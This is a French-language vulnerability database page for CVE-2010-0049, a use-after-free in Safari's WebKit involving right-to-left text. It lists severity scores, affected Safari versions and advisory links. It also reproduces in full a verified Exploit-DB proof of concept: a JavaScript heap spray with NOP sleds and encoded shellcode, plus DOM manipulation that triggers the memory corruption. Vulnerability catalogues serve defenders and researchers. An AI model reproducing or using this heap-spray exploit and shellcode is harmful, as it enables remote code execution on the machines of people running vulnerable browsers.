CVE-2010-0049 : Détail

CVE-2010-0049

90.18%V3
Network
2010-03-12
20h00 +00:00
2017-09-18
10h57 +00:00
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Descriptions du CVE

Use-after-free vulnerability in WebKit in Apple Safari before 4.0.5 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via HTML elements with right-to-left (RTL) text directionality.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 33752

Date de publication : 2010-03-10 23h00 +00:00
Auteur : wushi
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/38689/info WebKit is prone to a remote memory-corruption vulnerability; fixes are available. Successful exploits may allow the attacker to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial-of-service condition. This issue was previously documented in BID 38671 (Apple Safari Prior to 4.0.5 Multiple Security Vulnerabilities) but has been given its own record to better document it. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> <HTML lang="en"> <HEAD> <script type="text/javascript">//<![CDATA[ function fuzz_load(){ spray2(); e=document.getElementsByTagName("FORM")[0]; e.previousSibling.dir="rtl"; //e.previousSibling.style="font-size:111px;"; setTimeout('fuzz_timer_0();',1); } function spray2(){ var shellcode ="\uc931\ue983\ud9dd\ud9ee\u2474\u5bf4\u7381\u6f13\ub102\u830e\ufceb\uf4e2\uea93\u0ef5\u026f\u4b3a\u8953\u0bcd\u0317\u855e\u1a20\u513a\u034f\u475a\u36e4\u0f3a\u3381\u9771\u86c3\u7a71\uc368\u037b\uc06e\ufa5a\u5654\u0a95\ue71a\u513a\u034b\u685a\u0ee4\u85fa\u1e30\ue5b0\u1ee4\u0f3a\u8b84\u2aed\uc16b\uce80\u890b\u3ef1\uc2ea\u02c9\u42e4\u85bd\u1e1f\u851c\u0a07\u075a\u82e4\u0e01\u026f\u663a\u5d53\uf880\u540f\uf638\uc2ec\u5eca\u7c07\uec69\u6a1c\uf029\u0ce5\uf1e6\u6188\u62d0\u2c0c\u76d4\u020a\u0eb1" ; var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"); do { spray += spray; } while(spray.length < 0xc0000); memory = new Array(); for(i = 0; i < 50; i++) memory[i] = spray + shellcode; } function calc(){ var s0 ="\uc931\ue983\ud9dd\ud9ee\u2474\u5bf4\u7381\u6f13\ub102\u830e\ufceb\uf4e2\uea93\u0ef5\u026f\u4b3a\u8953\u0bcd\u0317\u855e\u1a20\u513a\u034f\u475a\u36e4\u0f3a\u3381\u9771\u86c3\u7a71\uc368\u037b\uc06e\ufa5a\u5654\u0a95\ue71a\u513a\u034b\u685a\u0ee4\u85fa\u1e30\ue5b0\u1ee4\u0f3a\u8b84\u2aed\uc16b\uce80\u890b\u3ef1\uc2ea\u02c9\u42e4\u85bd\u1e1f\u851c\u0a07\u075a\u82e4\u0e01\u026f\u663a\u5d53\uf880\u540f\uf638\uc2ec\u5eca\u7c07\uec69\u6a1c\uf029\u0ce5\uf1e6\u6188\u62d0\u2c0c\u76d4\u020a\u0eb1" ; var addr1= unescape("%u9090%u9090"); var addr2= "\uc5c6\uc7c9"; var addr3="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; var addr4="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; var addr5="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; var addr6="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; } function fuzz_timer_0(){ e=document.getElementsByTagName("NOBR")[0]; e.innerHTML=''; calc(); document.lastChild.normalize(); } //]]> </script> <code>1111 <AREA>13333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 <FORM > <NOBR /><BIG /> </FORM> </AREA> </code> </A> </HEAD> <BODY dir="rtl" onload="fuzz_load();"> </BODY> </HTML>

Products Mentioned

Configuraton 0

Apple>>Safari >> Version To (including) 4.0.4

Apple>>Safari >> Version 4.0

Apple>>Safari >> Version 4.0

Apple>>Safari >> Version 4.0.0b

Apple>>Safari >> Version 4.0.1

Apple>>Safari >> Version 4.0.2

Apple>>Safari >> Version 4.0.3

Références

http://www.mandriva.com/security/advisories?name=MDVSA-2011:039
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2010/2722
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/43068
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-1006-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securitytracker.com/id?1023708
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/41856
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0212
Tags : vdb-entry, x_refsource_VUPEN
http://support.apple.com/kb/HT4225
Tags : x_refsource_CONFIRM
http://support.apple.com/kb/HT4070
Tags : x_refsource_CONFIRM
http://www.vupen.com/english/advisories/2011/0552
Tags : vdb-entry, x_refsource_VUPEN
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=863
Tags : third-party-advisory, x_refsource_IDEFENSE
http://www.securityfocus.com/bid/38671
Tags : vdb-entry, x_refsource_BID
http://osvdb.org/62942
Tags : vdb-entry, x_refsource_OSVDB